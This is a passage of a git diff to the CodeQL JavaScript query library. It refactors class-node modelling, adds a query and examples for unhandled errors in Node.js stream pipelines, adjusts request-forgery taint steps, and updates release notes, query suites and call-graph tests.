by a `new`-call or with prototype manipulation, seen as a `ClassNode` instance. - */ - class FunctionStyleClass extends Range, DataFlow::ValueNode { - override Function astNode; - AbstractFunction function; - - FunctionStyleClass() { - function.getFunction() = astNode and - ( - exists(getAFunctionValueWithPrototype(function)) - or - function = any(NewNode new).getCalleeNode().analyze().getAValue() - or - exists(string name | this = AccessPath::getAnAssignmentTo(name) | - exists(getAPrototypeReferenceInFile(name, this.getFile())) - or - exists(getAnInstantiationInFile(name, this.getFile())) - ) - ) - } - - override string getName() { result = astNode.getName() } - - override string describe() { result = astNode.describe() } - - override FunctionNode getConstructor() { result = this } - - private PropertyAccessor getAnAccessor(MemberKind kind) { - result.getObjectExpr() = this.getAPrototypeReference().asExpr() and - ( - kind = MemberKind::getter() and - result instanceof PropertyGetter - or - kind = MemberKind::setter() and - result instanceof PropertySetter - ) - } - - override FunctionNode getInstanceMember(string name, MemberKind kind) { - kind = MemberKind::method() and - result = this.getAPrototypeReference().getAPropertySource(name) - or - kind = MemberKind::method() and - result = this.getConstructor().getReceiver().getAPropertySource(name) - or - exists(PropertyAccessor accessor | - accessor = this.getAnAccessor(kind) and - accessor.getName() = name and - result = accessor.getInit().flow() - ) - } - - override FunctionNode getAnInstanceMember(MemberKind kind) { - kind = MemberKind::method() and - result = this.getAPrototypeReference().getAPropertySource() - or - kind = MemberKind::method() and - result = this.getConstructor().getReceiver().getAPropertySource() - or - exists(PropertyAccessor accessor | - accessor = this.getAnAccessor(kind) and - result = accessor.getInit().flow() - ) - } - - override FunctionNode getStaticMember(string name, MemberKind kind) { - kind.isMethod() and - result = this.getAPropertySource(name) - } - - override FunctionNode getAStaticMember(MemberKind kind) { - kind.isMethod() and - result = this.getAPropertySource() - } - - /** - * Gets a reference to the prototype of this class. - */ - DataFlow::SourceNode getAPrototypeReference() { - exists(DataFlow::SourceNode base | base = getAFunctionValueWithPrototype(function) | - result = base.getAPropertyRead("prototype") - or - result = base.getAPropertySource("prototype") - ) - or - exists(string name | - this = AccessPath::getAnAssignmentTo(name) and - result = getAPrototypeReferenceInFile(name, this.getFile()) - ) - or - exists(ExtendCall call | - call.getDestinationOperand() = this.getAPrototypeReference() and - result = call.getASourceOperand() - ) - } - - override DataFlow::Node getASuperClassNode() { - // C.prototype = Object.create(D.prototype) - exists(DataFlow::InvokeNode objectCreate, DataFlow::PropRead superProto | - this.getAPropertySource("prototype") = objectCreate and - objectCreate = DataFlow::globalVarRef("Object").getAMemberCall("create") and - superProto.flowsTo(objectCreate.getArgument(0)) and - superProto.getPropertyName() = "prototype" and - result = superProto.getBase() - ) - or - // C.prototype = new D() - exists(DataFlow::NewNode newCall | - this.getAPropertySource("prototype") = newCall and - result = newCall.getCalleeNode() - ) - or - // util.inherits(C, D); - exists(DataFlow::CallNode inheritsCall | - inheritsCall = DataFlow::moduleMember("util", "inherits").getACall() - | - this = inheritsCall.getArgument(0).getALocalSource() and - result = inheritsCall.getArgument(1) - ) - } - } + deprecated class FunctionStyleClass = ClassNode; } /** diff --git a/javascript/ql/lib/semmle/javascript/dataflow/internal/CallGraphs.qll b/javascript/ql/lib/semmle/javascript/dataflow/internal/CallGraphs.qll index 541e3a6f3e90..cc4c883381ea 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/internal/CallGraphs.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/internal/CallGraphs.qll @@ -254,7 +254,7 @@ module CallGraph { not exists(DataFlow::ClassNode cls | node = cls.getConstructor().getReceiver() or - node = cls.(DataFlow::ClassNode::FunctionStyleClass).getAPrototypeReference() + node = cls.(DataFlow::ClassNode).getAPrototypeReference() ) } diff --git a/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll b/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll index adc4a79dd046..bea32b384371 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll @@ -75,11 +75,10 @@ module SsaDataflowInput implements DataFlowIntegrationInputSig { Guard() { this = any(js::ConditionGuardNode g).getTest() } /** - * Holds if the control flow branching from `bb1` is dependent on this guard, - * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this - * guard to `branch`. + * Holds if the evaluation of this guard to `branch` corresponds to the edge + * from `bb1` to `bb2`. */ - predicate controlsBranchEdge(js::BasicBlock bb1, js::BasicBlock bb2, boolean branch) { + predicate hasBranchEdge(js::BasicBlock bb1, js::BasicBlock bb2, boolean branch) { exists(js::ConditionGuardNode g | g.getTest() = this and bb1 = this.getBasicBlock() and @@ -87,6 +86,15 @@ module SsaDataflowInput implements DataFlowIntegrationInputSig { branch = g.getOutcome() ) } + + /** + * Holds if this guard evaluating to `branch` controls the control-flow + * branch edge from `bb1` to `bb2`. That is, following the edge from + * `bb1` to `bb2` implies that this guard evaluated to `branch`. + */ + predicate controlsBranchEdge(js::BasicBlock bb1, js::BasicBlock bb2, boolean branch) { + this.hasBranchEdge(bb1, bb2, branch) + } } pragma[inline] diff --git a/javascript/ql/lib/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll b/javascript/ql/lib/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll index a85a0a7813ce..248a88e3d1cc 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll @@ -550,20 +550,25 @@ class DirectiveTargetName extends string { * * See https://docs.angularjs.org/api/ng/service/$location for details. */ -private class LocationFlowSource extends RemoteFlowSource instanceof DataFlow::MethodCallNode { +private class LocationFlowSource extends ClientSideRemoteFlowSource instanceof DataFlow::MethodCallNode +{ + private ClientSideRemoteFlowKind kind; + LocationFlowSource() { exists(ServiceReference service, string m, int n | service.getName() = "$location" and this = service.getAMethodCall(m) and n = super.getNumArgument() | - m = "search" and n < 2 + m = "search" and n < 2 and kind.isQuery() or - m = "hash" and n = 0 + m = "hash" and n = 0 and kind.isFragment() ) } override string getSourceType() { result = "$location" } + + override ClientSideRemoteFlowKind getKind() { result = kind } } /** diff --git a/javascript/ql/lib/semmle/javascript/security/dataflow/RequestForgeryCustomizations.qll b/javascript/ql/lib/semmle/javascript/security/dataflow/RequestForgeryCustomizations.qll index 6cc6f6e798c0..8d182d116c6d 100644 --- a/javascript/ql/lib/semmle/javascript/security/dataflow/RequestForgeryCustomizations.qll +++ b/javascript/ql/lib/semmle/javascript/security/dataflow/RequestForgeryCustomizations.qll @@ -82,6 +82,13 @@ module RequestForgery { pred = url.getArgument(0) ) or + exists(DataFlow::NewNode url | + url = API::moduleImport("url").getMember("URL").getAnInstantiation() + | + succ = url and + pred = url.getArgument(0) + ) + or exists(HtmlSanitizerCall call | pred = call.getInput() and succ = call diff --git a/javascript/ql/src/CHANGELOG.md b/javascript/ql/src/CHANGELOG.md index bd5cb345793e..b6939ad5ec42 100644 --- a/javascript/ql/src/CHANGELOG.md +++ b/javascript/ql/src/CHANGELOG.md @@ -1,3 +1,13 @@ +## 1.6.2 + +No user-facing changes. + +## 1.6.1 + +### Minor Analysis Improvements + +* The queries `js/hardcoded-credentials` and `js/password-in-configuration-file` have been removed from all query suites. + ## 1.6.0 ### Query Metadata Changes diff --git a/javascript/ql/src/NodeJS/UnresolvableImport.ql b/javascript/ql/src/NodeJS/UnresolvableImport.ql index 28c46229cf6a..972a6b21ccb9 100644 --- a/javascript/ql/src/NodeJS/UnresolvableImport.ql +++ b/javascript/ql/src/NodeJS/UnresolvableImport.ql @@ -36,7 +36,7 @@ where not exists(r.getImportedModule()) and // no enclosing NPM package declares a dependency on `mod` forex(NpmPackage pkg, PackageJson pkgJson | - pkg.getAModule() = r.getTopLevel() and pkgJson = pkg.getPackageJson() + pkg.getAModule() = r.getTopLevel() and pkgJson = pkg.getPackageJson().getEnclosingPackage*() | not pkgJson.declaresDependency(mod, _) and not pkgJson.getPeerDependencies().getADependency(mod, _) and diff --git a/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.qhelp b/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.qhelp new file mode 100644 index 000000000000..39de6de477d4 --- /dev/null +++ b/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.qhelp @@ -0,0 +1,44 @@ + + + + +

+In Node.js, calling the pipe() method on a stream without proper error handling can lead to unexplained failures, where errors are dropped and not propagated downstream. This can result in unwanted behavior and make debugging difficult. To reliably handle all errors, every stream in the pipeline must have an error handler registered. +

+
+ + +

+Instead of using pipe() with manual error handling, prefer using the pipeline function from the Node.js stream module. The pipeline function automatically handles errors and ensures proper cleanup of resources. This approach is more robust and eliminates the risk of forgetting to handle errors. +

+

+If you must use pipe(), always attach an error handler to the source stream using methods like on('error', handler) to ensure that any errors emitted by the input stream are properly handled. When multiple pipe() calls are chained, an error handler should be attached before each step of the pipeline. +

+
+ + +

+The following code snippet demonstrates a problematic usage of the pipe() method without error handling: +

+ + + +

+A better approach is to use the pipeline function, which automatically handles errors: +

+ + + +

+Alternatively, if you need to use pipe(), make sure to add error handling: +

+ + +
+ + +
  • Node.js Documentation: stream.pipeline().
  • +
    +
    diff --git a/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql b/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql new file mode 100644 index 000000000000..a6142a2e6e73 --- /dev/null +++ b/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql @@ -0,0 +1,303 @@ +/** + * @id js/unhandled-error-in-stream-pipeline + * @name Unhandled error in stream pipeline + * @description Calling `pipe()` on a stream without error handling will drop errors coming from the input stream + * @kind problem + * @problem.severity warning + * @precision high + * @tags quality + * maintainability + * error-handling + * frameworks/nodejs + */ + +import javascript +import semmle.javascript.filters.ClassifyFiles + +/** + * A call to the `pipe` method on a Node.js stream. + */ +class PipeCall extends DataFlow::MethodCallNode { + PipeCall() { + this.getMethodName() = "pipe" and + this.getNumArgument() = [1, 2] and + not this.getArgument([0, 1]).asExpr() instanceof Function and + not this.getArgument(0).asExpr() instanceof ObjectExpr and + not this.getArgument(0).getALocalSource() = getNonNodeJsStreamType() + } + + /** Gets the source stream (receiver of the pipe call). */ + DataFlow::Node getSourceStream() { result = this.getReceiver() } + + /** Gets the destination stream (argument of the pipe call). */ + DataFlow::Node getDestinationStream() { result = this.getArgument(0) } +} + +/** + * Gets a reference to a value that is known to not be a Node.js stream. + * This is used to exclude pipe calls on non-stream objects from analysis. + */ +private DataFlow::Node getNonNodeJsStreamType() { + result = getNonStreamApi().getAValueReachableFromSource() +} + +/** + * Gets API nodes from modules that are known to not provide Node.js streams. + * This includes reactive programming libraries, frontend frameworks, and other non-stream APIs. + */ +private API::Node getNonStreamApi() { + exists(string moduleName | + moduleName + .regexpMatch([ + "rxjs(|/.*)", "@strapi(|/.*)", "highland(|/.*)", "execa(|/.*)", "arktype(|/.*)", + "@ngrx(|/.*)", "@datorama(|/.*)", "@angular(|/.*)", "react.*", "@langchain(|/.*)", + ]) and + result = API::moduleImport(moduleName) + ) + or + result = getNonStreamApi().getAMember() + or + result = getNonStreamApi().getAParameter().getAParameter() + or + result = getNonStreamApi().getReturn() + or + result = getNonStreamApi().getPromised() +} + +/** + * Gets the method names used to register event handlers on Node.js streams. + * These methods are used to attach handlers for events like `error`. + */ +private string getEventHandlerMethodName() { result = ["on", "once", "addListener"] } + +/** + * Gets the method names that are chainable on Node.js streams. + */ +private string getChainableStreamMethodName() { + result = + [ + "setEncoding", "pause", "resume", "unpipe", "destroy", "cork", "uncork", "setDefaultEncoding", + "off", "removeListener", getEventHandlerMethodName() + ] +} + +/** + * Gets the method names that are not chainable on Node.js streams. + */ +private string getNonchainableStreamMethodName() { + result = ["read", "write", "end", "pipe", "unshift", "push", "isPaused", "wrap", "emit"] +} + +/** + * Gets the property names commonly found on Node.js streams. + */ +private string getStreamPropertyName() { + result = + [ + "readable", "writable", "destroyed", "closed", "readableHighWaterMark", "readableLength", + "readableObjectMode", "readableEncoding", "readableFlowing", "readableEnded", "flowing", + "writableHighWaterMark", "writableLength", "writableObjectMode", "writableFinished", + "writableCorked", "writableEnded", "defaultEncoding", "allowHalfOpen", "objectMode", + "errored", "pending", "autoDestroy", "encoding", "path", "fd", "bytesRead", "bytesWritten", + "_readableState", "_writableState" + ] +} + +/** + * Gets all method names commonly found on Node.js streams. + */ +private string getStreamMethodName() { + result = [getChainableStreamMethodName(), getNonchainableStreamMethodName()] +} + +/** + * A call to register an event handler on a Node.js stream. + * This includes methods like `on`, `once`, and `addListener`. + */ +class ErrorHandlerRegistration extends DataFlow::MethodCallNode { + ErrorHandlerRegistration() { + this.getMethodName() = getEventHandlerMethodName() and + this.getArgument(0).getStringValue() = "error" + } +} + +/** + * Holds if the stream in `node1` will propagate to `node2`. + */ +private predicate streamFlowStep(DataFlow::Node node1, DataFlow::Node node2) { + exists(PipeCall pipe | + node1 = pipe.getDestinationStream() and + node2 = pipe + ) + or + exists(DataFlow::MethodCallNode chainable | + chainable.getMethodName() = getChainableStreamMethodName() and + node1 = chainable.getReceiver() and + node2 = chainable + ) +} + +/** + * Tracks the result of a pipe call as it flows through the program. + */ +private DataFlow::SourceNode destinationStreamRef(DataFlow::TypeTracker t, PipeCall pipe) { + t.start() and + (result = pipe or result = pipe.getDestinationStream().getALocalSource()) + or + exists(DataFlow::SourceNode prev | + prev = destinationStreamRef(t.continue(), pipe) and + streamFlowStep(prev, result) + ) + or + exists(DataFlow::TypeTracker t2 | result = destinationStreamRef(t2, pipe).track(t2, t)) +} + +/** + * Gets a reference to the result of a pipe call. + */ +private DataFlow::SourceNode destinationStreamRef(PipeCall pipe) { + result = destinationStreamRef(DataFlow::TypeTracker::end(), pipe) +} + +/** + * Holds if the pipe call result is used to call a non-stream method. + * Since pipe() returns the destination stream, this finds cases where + * the destination stream is used with methods not typical of streams. + */ +private predicate isPipeFollowedByNonStreamMethod(PipeCall pipeCall) { + exists(DataFlow::MethodCallNode call | + call = destinationStreamRef(pipeCall).getAMethodCall() and + not call.getMethodName() = getStreamMethodName() + ) +} + +/** + * Holds if the pipe call result is used to access a property that is not typical of streams. + */ +private predicate isPipeFollowedByNonStreamProperty(PipeCall pipeCall) { + exists(DataFlow::PropRef propRef | + propRef = destinationStreamRef(pipeCall).getAPropertyRead() and + not propRef.getPropertyName() = [getStreamPropertyName(), getStreamMethodName()] + ) +} + +/** + * Holds if the pipe call result is used in a non-stream-like way, + * either by calling non-stream methods or accessing non-stream properties. + */ +private predicate isPipeFollowedByNonStreamAccess(PipeCall pipeCall) { + isPipeFollowedByNonStreamMethod(pipeCall) or + isPipeFollowedByNonStreamProperty(pipeCall) +} + +/** + * Gets a reference to a stream that may be the source of the given pipe call. + * Uses type back-tracking to trace stream references in the data flow. + */ +private DataFlow::SourceNode sourceStreamRef(DataFlow::TypeBackTracker t, PipeCall pipeCall) { + t.start() and + result = pipeCall.getSourceStream().getALocalSource() + or + exists(DataFlow::SourceNode prev | + prev = sourceStreamRef(t.continue(), pipeCall) and + streamFlowStep(result.getALocalUse(), prev) + ) + or + exists(DataFlow::TypeBackTracker t2 | result = sourceStreamRef(t2, pipeCall).backtrack(t2, t)) +} + +/** + * Gets a reference to a stream that may be the source of the given pipe call. + */ +private DataFlow::SourceNode sourceStreamRef(PipeCall pipeCall) { + result = sourceStreamRef(DataFlow::TypeBackTracker::end(), pipeCall) +} + +/** + * Holds if the source stream of the given pipe call has an `error` handler registered. + */ +private predicate hasErrorHandlerRegistered(PipeCall pipeCall) { + exists(DataFlow::Node stream | + stream = sourceStreamRef(pipeCall).getALocalUse() and + ( + stream.(DataFlow::SourceNode).getAMethodCall(_) instanceof ErrorHandlerRegistration + or + exists(DataFlow::SourceNode base, string propName | + stream = base.getAPropertyRead(propName) and + base.getAPropertyRead(propName).getAMethodCall(_) instanceof ErrorHandlerRegistration + ) + or + exists(DataFlow::PropWrite propWrite, DataFlow::SourceNode instance | + propWrite.getRhs().getALocalSource() = stream and + instance = propWrite.getBase().getALocalSource() and + instance.getAPropertyRead(propWrite.getPropertyName()).getAMethodCall(_) instanceof + ErrorHandlerRegistration + ) + ) + ) + or + hasPlumber(pipeCall) +} + +/** + * Holds if the pipe call uses `gulp-plumber`, which automatically handles stream errors. + * `gulp-plumber` returns a stream that uses monkey-patching to ensure all subsequent streams in the pipeline propagate their errors. + */ +private predicate hasPlumber(PipeCall pipeCall) { + pipeCall.getDestinationStream().getALocalSource() = API::moduleImport("gulp-plumber").getACall() + or + sourceStreamRef+(pipeCall) = API::moduleImport("gulp-plumber").getACall() +} + +/** + * Holds if the source or destination of the given pipe call is identified as a non-Node.js stream. + */ +private predicate hasNonNodeJsStreamSource(PipeCall pipeCall) { + sourceStreamRef(pipeCall) = getNonNodeJsStreamType() or + destinationStreamRef(pipeCall) = getNonNodeJsStreamType() +} + +/** + * Holds if the source stream of the given pipe call is used in a non-stream-like way. + */ +private predicate hasNonStreamSourceLikeUsage(PipeCall pipeCall) { + exists(DataFlow::MethodCallNode call, string name | + call.getReceiver().getALocalSource() = sourceStreamRef(pipeCall) and + name = call.getMethodName() and + not name = getStreamMethodName() + ) + or + exists(DataFlow::PropRef propRef, string propName | + propRef.getBase().getALocalSource() = sourceStreamRef(pipeCall) and + propName = propRef.getPropertyName() and + not propName = [getStreamPropertyName(), getStreamMethodName()] + ) +} + +/** + * Holds if the pipe call destination stream has an error handler registered. + */ +private predicate hasErrorHandlerDownstream(PipeCall pipeCall) { + exists(DataFlow::SourceNode stream | + stream = destinationStreamRef(pipeCall) and + ( + exists(ErrorHandlerRegistration handler | handler.getReceiver().getALocalSource() = stream) + or + exists(DataFlow::SourceNode base, string propName | + stream = base.getAPropertyRead(propName) and + base.getAPropertyRead(propName).getAMethodCall(_) instanceof ErrorHandlerRegistration + ) + ) + ) +} + +from PipeCall pipeCall +where + not hasErrorHandlerRegistered(pipeCall) and + hasErrorHandlerDownstream(pipeCall) and + not isPipeFollowedByNonStreamAccess(pipeCall) and + not hasNonStreamSourceLikeUsage(pipeCall) and + not hasNonNodeJsStreamSource(pipeCall) and + not isTestFile(pipeCall.getFile()) +select pipeCall, + "Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped." diff --git a/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js b/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js new file mode 100644 index 000000000000..95c1661a8b9f --- /dev/null +++ b/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js @@ -0,0 +1,8 @@ +const fs = require('fs'); +const source = fs.createReadStream('source.txt'); +const destination = fs.createWriteStream('destination.txt'); + +// Bad: Only destination has error handling, source errors are unhandled +source.pipe(destination).on('error', (err) => { + console.error('Destination error:', err); +}); diff --git a/javascript/ql/src/Quality/examples/UnhandledStreamPipeGood.js b/javascript/ql/src/Quality/examples/UnhandledStreamPipeGood.js new file mode 100644 index 000000000000..08b9b2a1aab5 --- /dev/null +++ b/javascript/ql/src/Quality/examples/UnhandledStreamPipeGood.js @@ -0,0 +1,17 @@ +const { pipeline } = require('stream'); +const fs = require('fs'); +const source = fs.createReadStream('source.txt'); +const destination = fs.createWriteStream('destination.txt'); + +// Good: Using pipeline for automatic error handling +pipeline( + source, + destination, + (err) => { + if (err) { + console.error('Pipeline failed:', err); + } else { + console.log('Pipeline succeeded'); + } + } +); diff --git a/javascript/ql/src/Quality/examples/UnhandledStreamPipeManualError.js b/javascript/ql/src/Quality/examples/UnhandledStreamPipeManualError.js new file mode 100644 index 000000000000..113bc8117746 --- /dev/null +++ b/javascript/ql/src/Quality/examples/UnhandledStreamPipeManualError.js @@ -0,0 +1,16 @@ +const fs = require('fs'); +const source = fs.createReadStream('source.txt'); +const destination = fs.createWriteStream('destination.txt'); + +// Alternative Good: Manual error handling with pipe() +source.on('error', (err) => { + console.error('Source stream error:', err); + destination.destroy(err); +}); + +destination.on('error', (err) => { + console.error('Destination stream error:', err); + source.destroy(err); +}); + +source.pipe(destination); diff --git a/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql b/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql index d00ea7343df5..f00a5092a821 100644 --- a/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql +++ b/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql @@ -4,7 +4,7 @@ * @kind problem * @problem.severity warning * @security-severity 7.5 - * @precision medium + * @precision low * @id js/password-in-configuration-file * @tags security * external/cwe/cwe-256 diff --git a/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql b/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql index a94153e02263..6bb5218ad6ac 100644 --- a/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql +++ b/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql @@ -5,7 +5,7 @@ * @kind path-problem * @problem.severity warning * @security-severity 9.8 - * @precision high + * @precision low * @id js/hardcoded-credentials * @tags security * external/cwe/cwe-259 diff --git a/javascript/ql/src/change-notes/released/1.6.1.md b/javascript/ql/src/change-notes/released/1.6.1.md new file mode 100644 index 000000000000..b66009e765f5 --- /dev/null +++ b/javascript/ql/src/change-notes/released/1.6.1.md @@ -0,0 +1,5 @@ +## 1.6.1 + +### Minor Analysis Improvements + +* The queries `js/hardcoded-credentials` and `js/password-in-configuration-file` have been removed from all query suites. diff --git a/javascript/ql/src/change-notes/released/1.6.2.md b/javascript/ql/src/change-notes/released/1.6.2.md new file mode 100644 index 000000000000..bbe3747556fb --- /dev/null +++ b/javascript/ql/src/change-notes/released/1.6.2.md @@ -0,0 +1,3 @@ +## 1.6.2 + +No user-facing changes. diff --git a/javascript/ql/src/codeql-pack.release.yml b/javascript/ql/src/codeql-pack.release.yml index c4f0b07d5336..5f5beb68311a 100644 --- a/javascript/ql/src/codeql-pack.release.yml +++ b/javascript/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.6.0 +lastReleaseVersion: 1.6.2 diff --git a/javascript/ql/src/codeql-suites/javascript-security-and-quality.qls b/javascript/ql/src/codeql-suites/javascript-security-and-quality.qls index fe0fb9b6f348..38d45ecfbe66 100644 --- a/javascript/ql/src/codeql-suites/javascript-security-and-quality.qls +++ b/javascript/ql/src/codeql-suites/javascript-security-and-quality.qls @@ -1,4 +1,138 @@ - description: Security-and-quality queries for JavaScript - queries: . -- apply: security-and-quality-selectors.yml - from: codeql/suite-helpers +- include: + kind: + - problem + - path-problem + precision: + - high + - very-high + tags contain: + - security +- include: + kind: + - problem + - path-problem + precision: medium + problem.severity: + - error + - warning + tags contain: + - security +- include: + id: + - js/node/assignment-to-exports-variable + - js/node/missing-exports-qualifier + - js/angular/duplicate-dependency + - js/angular/missing-explicit-injection + - js/angular/dependency-injection-mismatch + - js/angular/incompatible-service + - js/angular/expression-in-url-attribute + - js/angular/repeated-dependency-injection + - js/regex/back-reference-to-negative-lookahead + - js/regex/unmatchable-dollar + - js/regex/empty-character-class + - js/regex/back-reference-before-group + - js/regex/unbound-back-reference + - js/regex/always-matches + - js/regex/unmatchable-caret + - js/regex/duplicate-in-character-class + - js/vue/arrow-method-on-vue-instance + - js/conditional-comment + - js/superfluous-trailing-arguments + - js/illegal-invocation + - js/invalid-prototype-value + - js/incomplete-object-initialization + - js/useless-type-test + - js/template-syntax-in-string-literal + - js/with-statement + - js/property-assignment-on-primitive + - js/deletion-of-non-property + - js/setter-return + - js/index-out-of-bounds + - js/unused-index-variable + - js/non-standard-language-feature + - js/syntax-error + - js/for-in-comprehension + - js/strict-mode-call-stack-introspection + - js/automatic-semicolon-insertion + - js/inconsistent-use-of-new + - js/non-linear-pattern + - js/yield-outside-generator + - js/mixed-static-instance-this-access + - js/arguments-redefinition + - js/nested-function-reference-in-default-parameter + - js/duplicate-parameter-name + - js/unreachable-method-overloads + - js/duplicate-variable-declaration + - js/function-declaration-conflict + - js/ineffective-parameter-type + - js/assignment-to-constant + - js/use-before-declaration + - js/suspicious-method-name-declaration + - js/overwritten-property + - js/useless-assignment-to-local + - js/useless-assignment-to-property + - js/variable-initialization-conflict + - js/variable-use-in-temporal-dead-zone + - js/missing-variable-declaration + - js/missing-this-qualifier + - js/unused-local-variable + - js/label-in-switch + - js/ignore-array-result + - js/inconsistent-loop-direction + - js/unreachable-statement + - js/trivial-conditional + - js/useless-comparison-test + - js/misleading-indentation-of-dangling-else + - js/use-of-returnless-function + - js/useless-assignment-in-return + - js/loop-iteration-skipped-due-to-shifting + - js/misleading-indentation-after-control-statement + - js/unused-loop-variable + - js/implicit-operand-conversion + - js/whitespace-contradicts-precedence + - js/missing-space-in-concatenation + - js/unbound-event-handler-receiver + - js/shift-out-of-range + - js/missing-dot-length-in-comparison + - js/redundant-operation + - js/comparison-with-nan + - js/duplicate-property + - js/unclear-operator-precedence + - js/unknown-directive + - js/string-instead-of-regex + - js/unneeded-defensive-code + - js/duplicate-switch-case + - js/duplicate-condition + - js/useless-expression + - js/redundant-assignment + - js/misspelled-variable-name + - js/call-to-non-callable + - js/missing-await + - js/comparison-between-incompatible-types + - js/property-access-on-non-object + - js/malformed-html-id + - js/eval-like-call + - js/duplicate-html-attribute + - js/react/unsupported-state-update-in-lifecycle-method + - js/react/unused-or-undefined-state-property + - js/react/direct-state-mutation + - js/react/inconsistent-state-update + - js/diagnostics/extraction-errors + - js/diagnostics/successfully-extracted-files + - js/summary/lines-of-code + - js/summary/lines-of-user-code +- include: + kind: + - diagnostic +- include: + kind: + - metric + tags contain: + - summary +- exclude: + deprecated: // +- exclude: + query path: + - /^experimental\/.*/ diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml index 24a0a1ab109b..6fff98f1f34d 100644 --- a/javascript/ql/src/qlpack.yml +++ b/javascript/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-queries -version: 1.6.0 +version: 1.6.2 groups: - javascript - queries diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.ql b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.ql index 4388a2d388d1..82533ba74c4a 100644 --- a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.ql +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.ql @@ -31,7 +31,7 @@ class AnnotatedCall extends DataFlow::Node { AnnotatedCall() { this instanceof DataFlow::InvokeNode and - calls = getAnnotation(this.asExpr(), kind) and + calls = getAnnotation(this.getEnclosingExpr(), kind) and kind = "calls" or this instanceof DataFlow::PropRef and @@ -79,12 +79,14 @@ query predicate spuriousCallee(AnnotatedCall call, Function target, int boundArg } query predicate missingCallee( - AnnotatedCall call, AnnotatedFunction target, int boundArgs, string kind + InvokeExpr invoke, AnnotatedFunction target, int boundArgs, string kind ) { - not callEdge(call, target, boundArgs) and - kind = call.getKind() and - target = call.getAnExpectedCallee(kind) and - boundArgs = call.getBoundArgsOrMinusOne() + forex(AnnotatedCall call | call.getEnclosingExpr() = invoke | + not callEdge(call, target, boundArgs) and + kind = call.getKind() and + target = call.getAnExpectedCallee(kind) and + boundArgs = call.getBoundArgsOrMinusOne() + ) } query predicate badAnnotation(string name) { diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js new file mode 100644 index 000000000000..815a9e7f1e77 --- /dev/null +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js @@ -0,0 +1,142 @@ +import 'dummy' + +class Baz { + baz() { + console.log("Baz baz"); + /** calls:Baz.greet calls:Derived.greet1 calls:BazExtented.greet2 */ + this.greet(); + } + /** name:Baz.greet */ + greet() { console.log("Baz greet"); } +} + +/** name:Baz.shout */ +Baz.prototype.shout = function() { console.log("Baz shout"); }; +/** name:Baz.staticShout */ +Baz.staticShout = function() { console.log("Baz staticShout"); }; + +function foo(baz){ + /** calls:Baz.greet */ + baz.greet(); + /** calls:Baz.shout */ + baz.shout(); + /** calls:Baz.staticShout */ + Baz.staticShout(); +} + +const baz = new Baz(); +foo(baz); + +class Derived extends Baz { + /** name:Derived.greet1 */ + greet() { + console.log("Derived greet"); + super.greet(); + } + + /** name:Derived.shout1 */ + shout() { + console.log("Derived shout"); + super.shout(); + } +} + +function bar(derived){ + /** calls:Derived.greet1 */ + derived.greet(); + /** calls:Derived.shout1 */ + derived.shout(); +} + +bar(new Derived()); + +class BazExtented { + constructor() { + console.log("BazExtented construct"); + } + + /** name:BazExtented.greet2 */ + greet() { + console.log("BazExtented greet"); + /** calls:Baz.greet */ + Baz.prototype.greet.call(this); + }; +} + +BazExtented.prototype = Object.create(Baz.prototype); +BazExtented.prototype.constructor = BazExtented; +BazExtented.staticShout = Baz.staticShout; + +/** name:BazExtented.talk */ +BazExtented.prototype.talk = function() { console.log("BazExtented talk"); }; + +/** name:BazExtented.shout2 */ +BazExtented.prototype.shout = function() { + console.log("BazExtented shout"); + /** calls:Baz.shout */ + Baz.prototype.shout.call(this); +}; + +function barbar(bazExtented){ + /** calls:BazExtented.talk */ + bazExtented.talk(); + /** calls:BazExtented.shout2 */ + bazExtented.shout(); + /** calls:BazExtented.greet2 */ + bazExtented.greet(); + /** calls:Baz.staticShout */ + BazExtented.staticShout(); +} + +barbar(new BazExtented()); + +class Base { + constructor() { + /** calls:Base.read calls:Derived1.read calls:Derived2.read */ + this.read(); + } + /** name:Base.read */ + read() { } +} + +class Derived1 extends Base {} +/** name:Derived1.read */ +Derived1.prototype.read = function() {}; + +class Derived2 {} +Derived2.prototype = Object.create(Base.prototype); +/** name:Derived2.read */ +Derived2.prototype.read = function() {}; + + +/** 